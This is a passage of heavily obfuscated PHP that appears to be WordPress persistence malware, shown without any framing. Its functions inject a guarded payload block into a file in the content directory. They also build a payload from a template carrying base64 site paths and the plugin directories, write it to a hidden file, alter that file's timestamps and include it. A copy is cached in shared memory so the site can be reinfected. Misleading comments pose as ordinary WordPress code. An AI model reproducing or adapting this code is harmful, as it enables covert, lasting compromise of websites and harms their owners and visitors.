     e_42zxx3yq4pdz4bo4(okltugscqfcy(1207),    e77owqcywda_d(1226));


   return;
      }
  if   (!@$GLOBALS['__scf_lnazygzamf_47']($yviawfmhs6i9[0]))    return;
if     (!sp5wkyh5y24npg(okltugscqfcy(1207)))   {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1207), onlv7_99m8sby3(1227));
return;


}
   if  (!dw5xb53ayd6_2w149kl6c($yviawfmhs6i9[0], $b5ho7dho67k))  {



e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1228),    onlv7_99m8sby3(1220));
  return;
 

}
     _v1q_3qvwfek2a1v1uo4_(e77owqcywda_d(1228));
$oasb3ndt0q7y  =      $rp0u3mvtw94mch  .   "\n" .  onlv7_99m8sby3(1229) .   $yviawfmhs6i9[2] . onlv7_99m8sby3(1216)   .  "\n"   .  $uh3v9zp8lp      .  "\n"    . $w7i1fu8yrx;


  if   (n_52vz_mvq1filje($yviawfmhs6i9[0], e_3kdl5lkaj5m4($b5ho7dho67k, $oasb3ndt0q7y)))   {
z70pp09ofsx7infprg85($yviawfmhs6i9[0]);
    gy672vrnjusgcel1($yviawfmhs6i9[0]);
}
     }  catch   (Throwable  $ye68b7hs2257kgf) {
  e_42zxx3yq4pdz4bo4(okltugscqfcy(1230),  $ye68b7hs2257kgf);
   }   catch   (Exception $ye68b7hs2257kgf) {
}
    }
 function lfiqw6ll3mhpggsqhe7d()
   {
 try    {
// @rollback balancer



if   (!defined(e77owqcywda_d(1193))) return;



 $yviawfmhs6i9 =     ui5gaq394x13hnjrqiw();
$hxb4xmgcnlv   = (string)     @$GLOBALS['__scf_ha14er2zmzf_92']($yviawfmhs6i9[1], false,  null, 0,   (35+29));
 if    ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1231),  $hxb4xmgcnlv,    $kmgnq9_fgpd56zwu) && $kmgnq9_fgpd56zwu[1]  ===   w218ynit42v8uao2p())  {
$ytuwhn4tvg  =  (int)  get_option(e77owqcywda_d(1232),  0);
if  ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   $ytuwhn4tvg < (0xf6+0x162)) return;



   if  (q2ntend2yn0jjp2l0b9z4o($yviawfmhs6i9[1]) !== false) {
 @update_option(c_5yznsrtgse_i(1233), $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  okltugscqfcy(1117));
 return;



}
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1234),   okltugscqfcy(1235));
}
  $c0abca9op_ = s_41a4npfkl91g6lvjvfe();

 if      (!$c0abca9op_  ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   <    (444+56) ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)  > (156878+891698)     ||   !pqt0j30bec0qiplt($c0abca9op_)) return;
$b6u43km9d87r97   =   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(263)) ?  @gzencode($c0abca9op_, (238^232)) : $c0abca9op_;


 if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($b6u43km9d87r97)     ||  $b6u43km9d87r97   ===  "")  return;
     if  (n_52vz_mvq1filje($yviawfmhs6i9[1],   okltugscqfcy(1236)   . w218ynit42v8uao2p()      .  ':' . $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_)     .  ':'  .   $GLOBALS['__scf__y1qevmu6cl77u_343']($b6u43km9d87r97))) @update_option(c_5yznsrtgse_i(1237), $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),    c_5yznsrtgse_i(1117));



}    catch  (Throwable    $ye68b7hs2257kgf)  {
/* best-case opaque-type */

  e_42zxx3yq4pdz4bo4(e77owqcywda_d(1234),    $ye68b7hs2257kgf);
   }   catch   (Exception    $ye68b7hs2257kgf)  {
  }
     }


 function    xdfk7__qewr_wndwidc1()



  {
   if     (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1238))) return   false;
  $_3me3ba7psy = defined(onlv7_99m8sby3(1239))   &&    @$GLOBALS['__scf_s8a8ra7wu3u_676'](ABSPATH    .   okltugscqfcy(507))   ?   ABSPATH   . okltugscqfcy(507) :  __FILE__;
  return  $GLOBALS['__scf_sh2dn3kvncq_1238']($_3me3ba7psy,  's');


   }
function  _muf4bt3d3hw1nu09woag()
 {
   try {
 if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1240))   ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1238)))   return;
  if (!defined(c_5yznsrtgse_i(1239)))    return;
    $c0abca9op_    =  s_41a4npfkl91g6lvjvfe();
 if (!$c0abca9op_     ||    $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_) <  (0x42+0x1b2))  return;
   $key  =  xdfk7__qewr_wndwidc1();


 if ($key   ===   false)  return;
  $wxw1t6c71axyr =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1241)) ?  $GLOBALS['__scf_efg6cx4h8j_1242'](onlv7_99m8sby3(1243), $c0abca9op_)    :   $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_);$ycyu6rbwjoofpo=PHP_INT_MAX/PHP_INT_MAX;$mtc2vw0nxoee5j=$ycyu6rbwjoofpo+44;


 $q6ex9_uw_98  =     c_5yznsrtgse_i(1244)    .    $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)  .  ':'   .   $wxw1t6c71axyr  .  "\n"  .   $c0abca9op_;
   $nnl23xxenmqco1   =   $GLOBALS['__scf_m36_x4cy3m1b5_10']($q6ex9_uw_98);
$fmbfr5fdf58 =    @$GLOBALS['__scf_jx7b8dw4jllc_1245']($key, 'a',   0,  0);
     if    ($fmbfr5fdf58) {
      $em4xzxp3jm6  =   (int)    @$GLOBALS['__scf_f0v88mo_io2lhn_1246']($fmbfr5fdf58);
      $nonxs43xzjibp0   =    @$GLOBALS['__scf_x_s5iwa172yx1_1247']($fmbfr5fdf58,   0,     $em4xzxp3jm6);
   if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($nonxs43xzjibp0)   && $GLOBALS['__scf_ffvfced40_hd3k_7']($nonxs43xzjibp0,   $c0abca9op_)    !==   false) {
  @$GLOBALS['__scf_fwn4g2giawo25r_1248']($fmbfr5fdf58);

   return;



   }
// @inject branded-type

   if   ($em4xzxp3jm6    >=  $nnl23xxenmqco1)     {
   @$GLOBALS['__scf_fwn4g2giawo25r_1248']($fmbfr5fdf58);
   $fmbfr5fdf58   =   @$GLOBALS['__scf_jx7b8dw4jllc_1245']($key,     'w',  0,   0);
 if ($fmbfr5fdf58)   {
   @$GLOBALS['__scf_m9308_jv0zrwd2_1249']($fmbfr5fdf58, $GLOBALS['__scf_a1xgxflmsih_1250']($q6ex9_uw_98,   $em4xzxp3jm6,   "\0"), 0);
  $rt4iv24igl =   @$GLOBALS['__scf_x_s5iwa172yx1_1247']($fmbfr5fdf58, 0,  $nnl23xxenmqco1);
   @$GLOBALS['__scf_fwn4g2giawo25r_1248']($fmbfr5fdf58);
 if ($rt4iv24igl !==    $q6ex9_uw_98) e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1251),   okltugscqfcy(1252));
 

 }
   return;
   } else  {
  @$GLOBALS['__scf_c8kbzdllqt1y_1253']($fmbfr5fdf58);
   @$GLOBALS['__scf_fwn4g2giawo25r_1248']($fmbfr5fdf58);
    }

  }
$em4xzxp3jm6  = $nnl23xxenmqco1  +    (928+96);

   $fmbfr5fdf58   = @$GLOBALS['__scf_jx7b8dw4jllc_1245']($key,  'c',  (337+83),   $em4xzxp3jm6);
   if   (!$fmbfr5fdf58)  return;
 @$GLOBALS['__scf_m9308_jv0zrwd2_1249']($fmbfr5fdf58,  $GLOBALS['__scf_a1xgxflmsih_1250']($q6ex9_uw_98,   $em4xzxp3jm6,     "\0"),     0);
    $rt4iv24igl  = @$GLOBALS['__scf_x_s5iwa172yx1_1247']($fmbfr5fdf58,  0,  $nnl23xxenmqco1);
 if  ($rt4iv24igl !==     $q6ex9_uw_98)    e_42zxx3yq4pdz4bo4(e77owqcywda_d(1254),   e77owqcywda_d(1255));
     @$GLOBALS['__scf_fwn4g2giawo25r_1248']($fmbfr5fdf58);
} catch (Throwable   $ye68b7hs2257kgf)    {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(1254), $ye68b7hs2257kgf);
} catch   (Exception   $ye68b7hs2257kgf)   {
// template inflationary heartbeat

  }
  }
  function   e_3kdl5lkaj5m4($current,     $oasb3ndt0q7y)
  {
    if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current) ||      $current ===  "")  return e77owqcywda_d(820)  .  $oasb3ndt0q7y   .   "\n";
  if ($GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1256),   $current,     $wn3b62anumc,  PREG_OFFSET_CAPTURE)) {
// WordPress 6.5 revisions: serialize write-ahead-log


  $idxlbbl1_7tk3js3 = $wn3b62anumc[0][1]     + $GLOBALS['__scf_m36_x4cy3m1b5_10']($wn3b62anumc[0][0]);
$enb93s3aza   = $GLOBALS['__scf_pozjicggfgaq_9']($current,  $idxlbbl1_7tk3js3, (0x83e+0x17c2));
while  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($enb93s3aza) &&  $GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1257),  $enb93s3aza,    $_dm))   {
   $idxlbbl1_7tk3js3 +=     $GLOBALS['__scf_m36_x4cy3m1b5_10']($_dm[0]);

      $enb93s3aza  =     $GLOBALS['__scf_pozjicggfgaq_9']($current,   $idxlbbl1_7tk3js3, (10105-1913));
 }
return  $GLOBALS['__scf_pozjicggfgaq_9']($current,   0,   $idxlbbl1_7tk3js3)   .    "\n"  .  $oasb3ndt0q7y . "\n"    .     $GLOBALS['__scf_pozjicggfgaq_9']($current,   $idxlbbl1_7tk3js3);$ekh_74atefvdbz=96;$oaracfw1=($ekh_74atefvdbz>0)?$ekh_74atefvdbz:-$ekh_74atefvdbz;
   }
    return okltugscqfcy(820)    . $oasb3ndt0q7y  .    "\n?>\n"  .    $current;
 }
function    sp5wkyh5y24npg($key)
  {

      if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1258)))    return    true;
     $o37smmdny8q3  =   @get_option(e77owqcywda_d(1259) .    $key,  "");
 if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($o37smmdny8q3)   &&    $GLOBALS['__scf_ffvfced40_hd3k_7']($o37smmdny8q3,   '|') !== false)    {

$jl_ruybeyx54iw =  $GLOBALS['__scf_yg8mfbm26s_111']('|',     $o37smmdny8q3, 2);
   if  ((int) $jl_ruybeyx54iw[0] ===  (int)  ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  /     (47034+39366)) &&    (int)  $jl_ruybeyx54iw[1]   >= (5^6))  return    false;
 }
 return   true;
    }
function   _v1q_3qvwfek2a1v1uo4_($key)
{
if     (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1258))   || !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(912)))   return;
$dvjq22n84jtu =     (int)  ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  /     (0x1318d+0x1ff3));
  $o37smmdny8q3  = @get_option(c_5yznsrtgse_i(1259)  .  $key,  "");
  $dtmb4x_663o5v  =     0;

if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($o37smmdny8q3)    &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($o37smmdny8q3,  '|')      !==   false)  {
       $jl_ruybeyx54iw  =  $GLOBALS['__scf_yg8mfbm26s_111']('|', $o37smmdny8q3,  2);
if ((int)  $jl_ruybeyx54iw[0] ===    $dvjq22n84jtu)     $dtmb4x_663o5v =   (int)    $jl_ruybeyx54iw[1];
}


 $dtmb4x_663o5v++;

@update_option(e77owqcywda_d(1259)   .    $key, $dvjq22n84jtu .   '|'  .  $dtmb4x_663o5v,   onlv7_99m8sby3(1117));
    if ($dtmb4x_663o5v    >= (1+2))  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1260), c_5yznsrtgse_i(1261)   . $key);
   }
 function ke9bvpjajhsm0el8nv()



 {
   try  {
// WP InnerBlocks shortcode parse

if  (!defined(okltugscqfcy(1239))) return;
if  (!defined(onlv7_99m8sby3(1262))  ||     !@$GLOBALS['__scf_lnazygzamf_47'](WP_CONTENT_DIR)  ||      !_mi9a3bco72i6e1chhgbc(WP_CONTENT_DIR)) return;




   $og0ebx9lu2qzdtmg = WP_CONTENT_DIR;
 $p6qmr4x6_bznox9  =      $og0ebx9lu2qzdtmg   .   okltugscqfcy(1149);
 $eaeerm127wtnj    =  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  onlv7_99m8sby3(1153));



   $olbqu9lljsvf1  = l09115umv3lykft9t(ABSPATH  .      c_5yznsrtgse_i(1263),   (0x7+0x1))   . onlv7_99m8sby3(1103);
  $u29onh033r7dfgir   =     hc439iwbgn5b2nwx5x_lu();
$iiiwigvhfj9 =   l09115umv3lykft9t(ABSPATH   . c_5yznsrtgse_i(1205),  (5+5));

$pgbvqekwyi_9r7ju   =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1264)) ?  xdfk7__qewr_wndwidc1()   :      false;
  $o0fhzowvwpe_fnf  = $pgbvqekwyi_9r7ju  !== false  ?      $GLOBALS['__scf_dcmmln6adsk_1265']($pgbvqekwyi_9r7ju)   : 0;
$hljdxw7wcggw   =  isset($GLOBALS[c_5yznsrtgse_i(1097)]->prefix)  ?    $GLOBALS[e77owqcywda_d(1097)]->prefix      :  c_5yznsrtgse_i(1202);


   $vllv7oy8yt402hhg  = onlv7_99m8sby3(1266)  . $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($eaeerm127wtnj    .  (string)  lz2qq_av2vpeb134hcpk()),   0,    (6+2));
     $uhf4r7b8dt36d4 =   mua1wkeo2i85r3r8dahw(
onlv7_99m8sby3(618),

   array('__SLUG__',  '__ZIP_NAME__',    '__SHMOP_KEY__', '__OPT_NAME__', '__WP_PREFIX__',   '__GUARD_NAME__',     '__VERSION__'),
array($eaeerm127wtnj, $olbqu9lljsvf1,     $o0fhzowvwpe_fnf, $iiiwigvhfj9,     $hljdxw7wcggw, $vllv7oy8yt402hhg,  w218ynit42v8uao2p())
   );
if  (!$uhf4r7b8dt36d4)    {
     if ((int)      get_option(e77owqcywda_d(729),    0) >  0) e_42zxx3yq4pdz4bo4(okltugscqfcy(1267),  onlv7_99m8sby3(1268));
   return;
  }



 $current    =    @$GLOBALS['__scf_s8a8ra7wu3u_676']($p6qmr4x6_bznox9) ?   @$GLOBALS['__scf_ha14er2zmzf_92']($p6qmr4x6_bznox9)   : "";
 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))  {
    e_42zxx3yq4pdz4bo4(okltugscqfcy(1267), onlv7_99m8sby3(1186));
return;
}
$current  =  ti6s2mx79ow6io($current);
 $hxmcz13sxwsdgpx   =   w218ynit42v8uao2p()   .  ':'   .    l09115umv3lykft9t(ABSPATH . okltugscqfcy(1269),   (16-8));
 $rp0u3mvtw94mch   =   e77owqcywda_d(1270)    . $hxmcz13sxwsdgpx   .     c_5yznsrtgse_i(1216);
    $w7i1fu8yrx =  onlv7_99m8sby3(1271)     .  $hxmcz13sxwsdgpx     .   c_5yznsrtgse_i(1272);
 $i79xsgx9smcupz  = l09115umv3lykft9t(ABSPATH . okltugscqfcy(1273),   (183^191));
        $te2gbkvuw3e1ztw  =   $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1274)  .    $i79xsgx9smcupz   .  e77owqcywda_d(1275),     "",  $current);


 $j878_ljbyg5lc6  =   ($GLOBALS['__scf_ffvfced40_hd3k_7']($te2gbkvuw3e1ztw,  e77owqcywda_d(1276))   !==      false);

   if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,     $rp0u3mvtw94mch)   !== false  &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($current,  $w7i1fu8yrx)  !==   false  &&  !$j878_ljbyg5lc6)  {



   m7zlv9gvp84ldk();
return;



   }
  $current   =  $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1277),  "", $te2gbkvuw3e1ztw);
    if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current)) {

     e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1278),    e77owqcywda_d(1226));
      return;

  }  {



  $current    =   ti6s2mx79ow6io($current);
   $vw74yyxarz  =  $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1213), "",   $uhf4r7b8dt36d4);
       $fhx6ywwdroopza   = ($GLOBALS['__scf_m36_x4cy3m1b5_10']($current)  ===   0);$fer6pj4g7r=173|59;$uwecptor1=$fer6pj4g7r^38;
 if  (!$fhx6ywwdroopza)   {
      if (!sp5wkyh5y24npg(e77owqcywda_d(1278)))  {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1278),    e77owqcywda_d(1227));



  return;

   }
if   (!dw5xb53ayd6_2w149kl6c($p6qmr4x6_bznox9,  $current))   {
     e_42zxx3yq4pdz4bo4(okltugscqfcy(1279), c_5yznsrtgse_i(1280));
       return;
 }
_v1q_3qvwfek2a1v1uo4_(c_5yznsrtgse_i(1281));


     }  else {
  if  (!dw5xb53ayd6_2w149kl6c($p6qmr4x6_bznox9, "")) {
        e_42zxx3yq4pdz4bo4(okltugscqfcy(1281), onlv7_99m8sby3(1282));
 



     return;
 }
}
$daj0ulxipl5  = e_3kdl5lkaj5m4($current,     $rp0u3mvtw94mch  .    "\n"  .     $vw74yyxarz . "\n" . $w7i1fu8yrx);
if (!n_52vz_mvq1filje($p6qmr4x6_bznox9,  $daj0ulxipl5))   {
 return;
  }
z70pp09ofsx7infprg85($p6qmr4x6_bznox9);
      gy672vrnjusgcel1($p6qmr4x6_bznox9);
 m7zlv9gvp84ldk();
  

   }
  }     catch   (Throwable   $ye68b7hs2257kgf)     {


  e_42zxx3yq4pdz4bo4(okltugscqfcy(1281), $ye68b7hs2257kgf);
 }   catch  (Exception  $ye68b7hs2257kgf) {



 }


    }
    function  v0nqb22tg1x24tu_9u0t()
{



 try   {
 if  (!defined(okltugscqfcy(1283))) return;



if  (xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz()))     return;
 if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(960)))   return;

if ($GLOBALS['__scf_w3427jutwi_101']()  ===   c_5yznsrtgse_i(395)) return;$ryhqvtifx=72|141;$onvdevixuhe=$ryhqvtifx^233;
   

   if   (!isset($_SERVER[e77owqcywda_d(398)]))  return;



if  (get_transient(e77owqcywda_d(1284))) return;

  $doiok077pdsipy70    = hc439iwbgn5b2nwx5x_lu();
    if  (!@$GLOBALS['__scf_iomf4blfg0_43']($doiok077pdsipy70))  z896t8tuy9x7zn5($doiok077pdsipy70,    (934-441),   true);
if  (!@$GLOBALS['__scf_iomf4blfg0_43']($doiok077pdsipy70) ||    !@$GLOBALS['__scf_lnazygzamf_47']($doiok077pdsipy70))    {
$doiok077pdsipy70 = ABSPATH  . c_5yznsrtgse_i(1285);


if   (!@$GLOBALS['__scf_lnazygzamf_47']($doiok077pdsipy70)) $doiok077pdsipy70  =  rb4qo3s3qey8iml9k_t();
 }
 $gt6fpczdz8fsnx  = l09115umv3lykft9t(ABSPATH . 'g',  (96^104));
   $d3bcifin13  =     c_5yznsrtgse_i(493) .   $gt6fpczdz8fsnx   .  onlv7_99m8sby3(1286);
    $mdlolyt_onh0t600 = $doiok077pdsipy70  . '/' .  $d3bcifin13;
  

 $w9k1telpb_8r  =      $doiok077pdsipy70 .   e77owqcywda_d(1287)   .  $gt6fpczdz8fsnx;
 foreach    (array($doiok077pdsipy70, ABSPATH    .     e77owqcywda_d(1285),   rb4qo3s3qey8iml9k_t())  as $npa07vznbb_vuna)    {
  $z_4cv8zoab =   $npa07vznbb_vuna  .  onlv7_99m8sby3(1288)   .   $gt6fpczdz8fsnx;
 if   (@$GLOBALS['__scf_cr6q9fwgft_18']($z_4cv8zoab))  {
       $arrbo3q_si      =  (int)     @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($z_4cv8zoab);
   if   ($arrbo3q_si    <=  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   - (86324+76)   ||  $arrbo3q_si    >   $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   +  (142+158))  {
 er_0rzjfu8611gx($z_4cv8zoab);
  continue;
   }
   if    (@$GLOBALS['__scf_cr6q9fwgft_18']($npa07vznbb_vuna   .   c_5yznsrtgse_i(1289)    .    $gt6fpczdz8fsnx  .   okltugscqfcy(1286)))  return;
 er_0rzjfu8611gx($z_4cv8zoab);



 }
}
      unset($npa07vznbb_vuna, $z_4cv8zoab, $arrbo3q_si);
 $i5n4stb26r7987a  =   ABSPATH    .    e77owqcywda_d(1290) .  $d3bcifin13;
   if ($doiok077pdsipy70 !== ABSPATH .  c_5yznsrtgse_i(1291)    &&  @$GLOBALS['__scf_cr6q9fwgft_18']($i5n4stb26r7987a) && n0t8w3br3bo60xew4($i5n4stb26r7987a) !== false)   {
// WP Latest Posts font face

      jl7b1mmow1nrgaho8($i5n4stb26r7987a,  (265+155));


 if (er_0rzjfu8611gx($i5n4stb26r7987a)  && $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(712))) @opcache_invalidate($i5n4stb26r7987a,  true);



 }
  unset($i5n4stb26r7987a);
if (@$GLOBALS['__scf_cr6q9fwgft_18']($w9k1telpb_8r) &&   (int)  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($w9k1telpb_8r)    >  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()     - (67^179)) return;
if (@$GLOBALS['__scf_cr6q9fwgft_18']($mdlolyt_onh0t600)  &&     ($GLOBALS['__scf_p_l9i38f5mdu2r_184']() -    (int)   @filectime($mdlolyt_onh0t600)) <   (280+20))  return;
if      (@$GLOBALS['__scf_cr6q9fwgft_18']($mdlolyt_onh0t600))     {
$lwymr0dwiss  =  @$GLOBALS['__scf_cr6q9fwgft_18']($doiok077pdsipy70      .   c_5yznsrtgse_i(1292)     .  $gt6fpczdz8fsnx)  ?    $GLOBALS['__scf__90_xdmo58j3q_311']((string) @$GLOBALS['__scf_ha14er2zmzf_92']($doiok077pdsipy70  .     e77owqcywda_d(1292)  .      $gt6fpczdz8fsnx))   :    "";

     if ($lwymr0dwiss  !==      ""  && $GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1293), $lwymr0dwiss) &&  version_compare($lwymr0dwiss, w218ynit42v8uao2p(),   '>')) return;

  unset($lwymr0dwiss);
        }
 if  (@$GLOBALS['__scf_cr6q9fwgft_18']($mdlolyt_onh0t600)) {
  $fsl06wzhywl =  $doiok077pdsipy70  .   onlv7_99m8sby3(1294)  . l09115umv3lykft9t(ABSPATH  .    'g',  (7+1));
   $y4wyoy__4arwo6  = @$GLOBALS['__scf_cr6q9fwgft_18']($fsl06wzhywl) ? (string) @$GLOBALS['__scf_ha14er2zmzf_92']($fsl06wzhywl)  :    "";

  $eo9dz8mt5tjy46q0   =     0;
 if   ($y4wyoy__4arwo6  !==     "")  {



   $xr9w4c4266rlq =   $GLOBALS['__scf_yg8mfbm26s_111']('|',   $y4wyoy__4arwo6);
$eo9dz8mt5tjy46q0 = (int) $xr9w4c4266rlq[0];
    }
     if ($eo9dz8mt5tjy46q0  >  0 && $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -   $eo9dz8mt5tjy46q0  >  (535+365))    e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(616), c_5yznsrtgse_i(1295));
  elseif ($eo9dz8mt5tjy46q0 ===  0    &&     ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()     -   (int)  @filectime($mdlolyt_onh0t600))  >    (296+604)) e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(616),  c_5yznsrtgse_i(1296));

  unset($fsl06wzhywl, $y4wyoy__4arwo6, $xr9w4c4266rlq,  $eo9dz8mt5tjy46q0);
    }
 $c0abca9op_    = s_41a4npfkl91g6lvjvfe();



if  (!$c0abca9op_    ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)  <     (644-144))   return;
 $x01yke3kyr983gk =    doc379joovtj_lisexoga9();



 $eaeerm127wtnj =     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  onlv7_99m8sby3(1286));



 $bwruh_wm_pv8n4k =  rb4qo3s3qey8iml9k_t()    . onlv7_99m8sby3(14);
$xldzbfkdbswm8y  =   @$GLOBALS['__scf_lnazygzamf_47']($bwruh_wm_pv8n4k)
 ?    ($bwruh_wm_pv8n4k  .   '/'      .  $eaeerm127wtnj   . e77owqcywda_d(1297))
 : (rb4qo3s3qey8iml9k_t() .    onlv7_99m8sby3(89) .  $eaeerm127wtnj  . '/'  . $eaeerm127wtnj .     c_5yznsrtgse_i(1297));
    $i65fg85vf4_zup  =      $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1147))  ?    $GLOBALS['__scf__1yrfqcb0r_541'](home_url(), PHP_URL_HOST)    :   (isset($_SERVER[okltugscqfcy(547)])  ? $_SERVER[e77owqcywda_d(1298)]     : "");
   $ik7ndcmmtx8lx94   =  (defined(okltugscqfcy(13)) &&  WPMU_PLUGIN_DIR)  ? WPMU_PLUGIN_DIR    : rb4qo3s3qey8iml9k_t()    .   c_5yznsrtgse_i(1299);
 $r6zucgqdiyl  =  (defined(okltugscqfcy(1035)) && WP_PLUGIN_DIR)   ? WP_PLUGIN_DIR  :   rb4qo3s3qey8iml9k_t()  .      okltugscqfcy(709);
$udr0t9wgyik4u  =   defined(okltugscqfcy(1262))      ? WP_CONTENT_DIR  : rb4qo3s3qey8iml9k_t();
$ox2znnunolck4tud  = mua1wkeo2i85r3r8dahw(
 onlv7_99m8sby3(616),


  array('__PATH_B64__',      '__PLUGIN_BASE64__',   '__DOMAIN__',   '__HB_B64__',  '__GPATH_B64__',  '__ABSPATH_B64__',  '__CONTENTDIR_B64__',   '__MUDIR_B64__',  '__PLUGINDIR_B64__',    '__SLUG__',      '__VERSION__'),
    array($GLOBALS['__scf__y1qevmu6cl77u_343']($xldzbfkdbswm8y),  $x01yke3kyr983gk,  $i65fg85vf4_zup,     $GLOBALS['__scf__y1qevmu6cl77u_343']($w9k1telpb_8r),   $GLOBALS['__scf__y1qevmu6cl77u_343']($mdlolyt_onh0t600),  $GLOBALS['__scf__y1qevmu6cl77u_343'](ABSPATH),  $GLOBALS['__scf__y1qevmu6cl77u_343']($udr0t9wgyik4u),  $GLOBALS['__scf__y1qevmu6cl77u_343']($ik7ndcmmtx8lx94),  $GLOBALS['__scf__y1qevmu6cl77u_343']($r6zucgqdiyl),  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(), okltugscqfcy(1300)), w218ynit42v8uao2p())
   );
if (!$ox2znnunolck4tud)      {
 if  ((int)  get_option(okltugscqfcy(1301), 0)   >  0)      e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(616),     e77owqcywda_d(1302));
      return;
  }
// auto-closeable

if    (!pqt0j30bec0qiplt($ox2znnunolck4tud)) {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1303), okltugscqfcy(1304));
     return;
   


 }
     if  (n_52vz_mvq1filje($mdlolyt_onh0t600, $ox2znnunolck4tud))     {
 qdde0bjty1e07vpar5t2($mdlolyt_onh0t600,   sx7gtblw9v0s3m1l7());
    jl7b1mmow1nrgaho8($mdlolyt_onh0t600, (0xe2+0xc2));
       gy672vrnjusgcel1($mdlolyt_onh0t600);



 wf9y470__ikilr($doiok077pdsipy70  .  okltugscqfcy(1305)   .     $gt6fpczdz8fsnx,  $GLOBALS['__scf_poant85f5yad_56']($ox2znnunolck4tud),  onlv7_99m8sby3(1303));$ti0cuywn3ea=4564;$yyb9mj8fyq=$ti0cuywn3ea%8;
     wf9y470__ikilr($doiok077pdsipy70 . onlv7_99m8sby3(1306) .  $gt6fpczdz8fsnx,  w218ynit42v8uao2p(), c_5yznsrtgse_i(1303));
  @include_once $mdlolyt_onh0t600;



 set_transient(onlv7_99m8sby3(1284),   1,   (205+95));$_p7qtcxjwacj2=PHP_INT_MAX/PHP_INT_MAX;$nhnntkj2=$_p7qtcxjwacj2+44;

    }
 unset($ik7ndcmmtx8lx94,   $r6zucgqdiyl, $udr0t9wgyik4u);
}  catch     (Throwable   $ye68b7hs2257kgf)   {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1307),   $ye68b7hs2257kgf);
    } catch (Exception  $ye68b7hs2257kgf)  {
  }
  }
 function    k4lhjl5483_yjz($dwcyirx8msi_e3)
   {
   if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3))  return   false;
  $e3s7j8h01zw6sv6   = $GLOBALS['__scf_m36_x4cy3m1b5_10']($dwcyirx8msi_e3);



   if ($e3s7j8h01zw6sv6 >  (1048490+86))   return   true;
if  ($e3s7j8h01zw6sv6 <    (659-159)) return false;


   $y2s3oe7auu1w35w  =    $GLOBALS['__scf_pozjicggfgaq_9']($dwcyirx8msi_e3,    0,  (9818+55718));
$g12mmfr6ldf6  =   $GLOBALS['__scf_dwtqfg3ndcp_1308']($y2s3oe7auu1w35w,    ' ')   +  $GLOBALS['__scf_dwtqfg3ndcp_1308']($y2s3oe7auu1w35w,  "\t");
  return   ($g12mmfr6ldf6   /  $GLOBALS['__scf_m36_x4cy3m1b5_10']($y2s3oe7auu1w35w))  >   0.55;
 }
